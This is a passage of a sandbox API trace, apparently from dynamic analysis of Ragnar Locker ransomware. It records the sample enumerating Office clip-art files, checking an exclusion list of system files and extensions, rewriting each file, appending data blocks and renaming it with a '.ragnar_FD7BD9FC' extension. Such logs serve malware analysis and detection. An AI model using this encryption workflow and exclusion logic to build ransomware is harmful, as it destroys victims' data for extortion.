Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00402_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00402_.WMF.ragnar_FD7BD9FC" [0092.703] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00402_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00402_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00402_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00402_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.704] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf396200, ftCreationTime.dwHighDateTime=0x1bd4c01, ftLastAccessTime.dwLowDateTime=0x5ae8f450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdf396200, ftLastWriteTime.dwHighDateTime=0x1bd4c01, nFileSizeHigh=0x0, nFileSizeLow=0x2054, dwReserved0=0x0, dwReserved1=0x0, cFileName="TR00482_.WMF", cAlternateFileName="")) returned 1 [0092.704] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.704] lstrcpyW (in: lpString1=0x1eb62e, lpString2="TR00482_.WMF" | out: lpString1="TR00482_.WMF") returned="TR00482_.WMF" [0092.704] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00482_.WMF") returned=".WMF" [0092.704] lstrcmpiW (lpString1="TR00482_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.704] lstrcmpiW (lpString1="TR00482_.WMF", lpString2="autorun.inf") returned 1 [0092.704] lstrcmpiW (lpString1="TR00482_.WMF", lpString2="boot.ini") returned 1 [0092.704] lstrcmpiW (lpString1="TR00482_.WMF", lpString2="bootfont.bin") returned 1 [0092.704] lstrcmpiW (lpString1="TR00482_.WMF", lpString2="bootsect.bak") returned 1 [0092.704] lstrcmpiW (lpString1="TR00482_.WMF", lpString2="bootmgr") returned 1 [0092.704] lstrcmpiW (lpString1="TR00482_.WMF", lpString2="bootmgr.efi") returned 1 [0092.704] lstrcmpiW (lpString1="TR00482_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.704] lstrcmpiW (lpString1="TR00482_.WMF", lpString2="desktop.ini") returned 1 [0092.704] lstrcmpiW (lpString1="TR00482_.WMF", lpString2="iconcache.db") returned 1 [0092.705] lstrcmpiW (lpString1="TR00482_.WMF", lpString2="ntldr") returned 1 [0092.705] lstrcmpiW (lpString1="TR00482_.WMF", lpString2="ntuser.dat") returned 1 [0092.705] lstrcmpiW (lpString1="TR00482_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.705] lstrcmpiW (lpString1="TR00482_.WMF", lpString2="ntuser.ini") returned 1 [0092.705] lstrcmpiW (lpString1="TR00482_.WMF", lpString2="thumbs.db") returned 1 [0092.705] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.705] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.705] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.705] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.705] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.705] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.705] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.705] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00482_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00482_.wmf")) returned 0x20 [0092.705] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00482_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00482_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.705] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=8276) returned 1 [0092.705] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x204b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.705] GetProcessHeap () returned 0x580000 [0092.706] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.706] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.707] VirtualAlloc (lpAddress=0x0, dwSize=0x2054, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.707] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.707] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.707] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2054, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2054, lpOverlapped=0x0) returned 1 [0092.708] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.708] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2054, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.708] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2054, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2054, lpOverlapped=0x0) returned 1 [0092.708] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2054, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.708] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.709] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2054, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.709] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.709] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.709] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.709] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.709] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.709] GetProcessHeap () returned 0x580000 [0092.709] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.709] CloseHandle (hObject=0xf4) returned 1 [0092.709] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00482_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00482_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00482_.WMF" [0092.709] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00482_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00482_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00482_.WMF.ragnar_FD7BD9FC" [0092.709] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00482_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00482_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00482_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00482_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.710] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd55d3200, ftCreationTime.dwHighDateTime=0x1bd4bf4, ftLastAccessTime.dwLowDateTime=0x5aeb55b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd55d3200, ftLastWriteTime.dwHighDateTime=0x1bd4bf4, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="TR00494_.WMF", cAlternateFileName="")) returned 1 [0092.710] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.710] lstrcpyW (in: lpString1=0x1eb62e, lpString2="TR00494_.WMF" | out: lpString1="TR00494_.WMF") returned="TR00494_.WMF" [0092.710] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00494_.WMF") returned=".WMF" [0092.710] lstrcmpiW (lpString1="TR00494_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.710] lstrcmpiW (lpString1="TR00494_.WMF", lpString2="autorun.inf") returned 1 [0092.710] lstrcmpiW (lpString1="TR00494_.WMF", lpString2="boot.ini") returned 1 [0092.710] lstrcmpiW (lpString1="TR00494_.WMF", lpString2="bootfont.bin") returned 1 [0092.710] lstrcmpiW (lpString1="TR00494_.WMF", lpString2="bootsect.bak") returned 1 [0092.710] lstrcmpiW (lpString1="TR00494_.WMF", lpString2="bootmgr") returned 1 [0092.710] lstrcmpiW (lpString1="TR00494_.WMF", lpString2="bootmgr.efi") returned 1 [0092.710] lstrcmpiW (lpString1="TR00494_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.710] lstrcmpiW (lpString1="TR00494_.WMF", lpString2="desktop.ini") returned 1 [0092.710] lstrcmpiW (lpString1="TR00494_.WMF", lpString2="iconcache.db") returned 1 [0092.710] lstrcmpiW (lpString1="TR00494_.WMF", lpString2="ntldr") returned 1 [0092.710] lstrcmpiW (lpString1="TR00494_.WMF", lpString2="ntuser.dat") returned 1 [0092.710] lstrcmpiW (lpString1="TR00494_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.710] lstrcmpiW (lpString1="TR00494_.WMF", lpString2="ntuser.ini") returned 1 [0092.710] lstrcmpiW (lpString1="TR00494_.WMF", lpString2="thumbs.db") returned 1 [0092.710] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.710] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.710] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.710] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.711] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.711] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.711] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.711] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00494_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00494_.wmf")) returned 0x20 [0092.711] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00494_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00494_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.711] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6144) returned 1 [0092.711] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x17f7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.711] GetProcessHeap () returned 0x580000 [0092.711] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.711] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.713] VirtualAlloc (lpAddress=0x0, dwSize=0x1800, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.713] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.713] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.713] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1800, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1800, lpOverlapped=0x0) returned 1 [0092.714] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.714] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1800, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.714] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1800, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1800, lpOverlapped=0x0) returned 1 [0092.714] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1800, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.714] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.714] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.714] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.714] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.714] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.714] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.715] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.715] GetProcessHeap () returned 0x580000 [0092.715] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.715] CloseHandle (hObject=0xf4) returned 1 [0092.715] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00494_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00494_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00494_.WMF" [0092.715] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00494_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00494_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00494_.WMF.ragnar_FD7BD9FC" [0092.715] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00494_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00494_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00494_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00494_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.715] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x70639c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x342e, dwReserved0=0x0, dwReserved1=0x0, cFileName="URBAN_01.MID", cAlternateFileName="")) returned 1 [0092.715] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.715] lstrcpyW (in: lpString1=0x1eb62e, lpString2="URBAN_01.MID" | out: lpString1="URBAN_01.MID") returned="URBAN_01.MID" [0092.716] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned=".MID" [0092.716] lstrcmpiW (lpString1="URBAN_01.MID", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.716] lstrcmpiW (lpString1="URBAN_01.MID", lpString2="autorun.inf") returned 1 [0092.716] lstrcmpiW (lpString1="URBAN_01.MID", lpString2="boot.ini") returned 1 [0092.716] lstrcmpiW (lpString1="URBAN_01.MID", lpString2="bootfont.bin") returned 1 [0092.716] lstrcmpiW (lpString1="URBAN_01.MID", lpString2="bootsect.bak") returned 1 [0092.716] lstrcmpiW (lpString1="URBAN_01.MID", lpString2="bootmgr") returned 1 [0092.716] lstrcmpiW (lpString1="URBAN_01.MID", lpString2="bootmgr.efi") returned 1 [0092.716] lstrcmpiW (lpString1="URBAN_01.MID", lpString2="bootmgfw.efi") returned 1 [0092.716] lstrcmpiW (lpString1="URBAN_01.MID", lpString2="desktop.ini") returned 1 [0092.716] lstrcmpiW (lpString1="URBAN_01.MID", lpString2="iconcache.db") returned 1 [0092.716] lstrcmpiW (lpString1="URBAN_01.MID", lpString2="ntldr") returned 1 [0092.716] lstrcmpiW (lpString1="URBAN_01.MID", lpString2="ntuser.dat") returned 1 [0092.716] lstrcmpiW (lpString1="URBAN_01.MID", lpString2="ntuser.dat.log") returned 1 [0092.716] lstrcmpiW (lpString1="URBAN_01.MID", lpString2="ntuser.ini") returned 1 [0092.716] lstrcmpiW (lpString1="URBAN_01.MID", lpString2="thumbs.db") returned 1 [0092.716] lstrcmpiW (lpString1=".MID", lpString2=".db") returned 1 [0092.716] lstrcmpiW (lpString1=".MID", lpString2=".sys") returned -1 [0092.716] lstrcmpiW (lpString1=".MID", lpString2=".dll") returned 1 [0092.716] lstrcmpiW (lpString1=".MID", lpString2=".lnk") returned 1 [0092.716] lstrcmpiW (lpString1=".MID", lpString2=".msi") returned -1 [0092.716] lstrcmpiW (lpString1=".MID", lpString2=".drv") returned 1 [0092.716] lstrcmpiW (lpString1=".MID", lpString2=".exe") returned 1 [0092.716] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid")) returned 0x20 [0092.717] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.717] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=13358) returned 1 [0092.717] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3425, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.717] GetProcessHeap () returned 0x580000 [0092.717] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.717] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.719] VirtualAlloc (lpAddress=0x0, dwSize=0x342e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.719] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.719] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.720] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x342e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x342e, lpOverlapped=0x0) returned 1 [0092.720] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.721] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x342e, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.721] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x342e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x342e, lpOverlapped=0x0) returned 1 [0092.721] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x342e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.721] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.721] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x342e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.721] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.721] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.721] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.721] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.721] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.722] GetProcessHeap () returned 0x580000 [0092.722] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.722] CloseHandle (hObject=0xf4) returned 1 [0092.722] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID" [0092.722] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID.ragnar_FD7BD9FC" [0092.722] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.722] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, 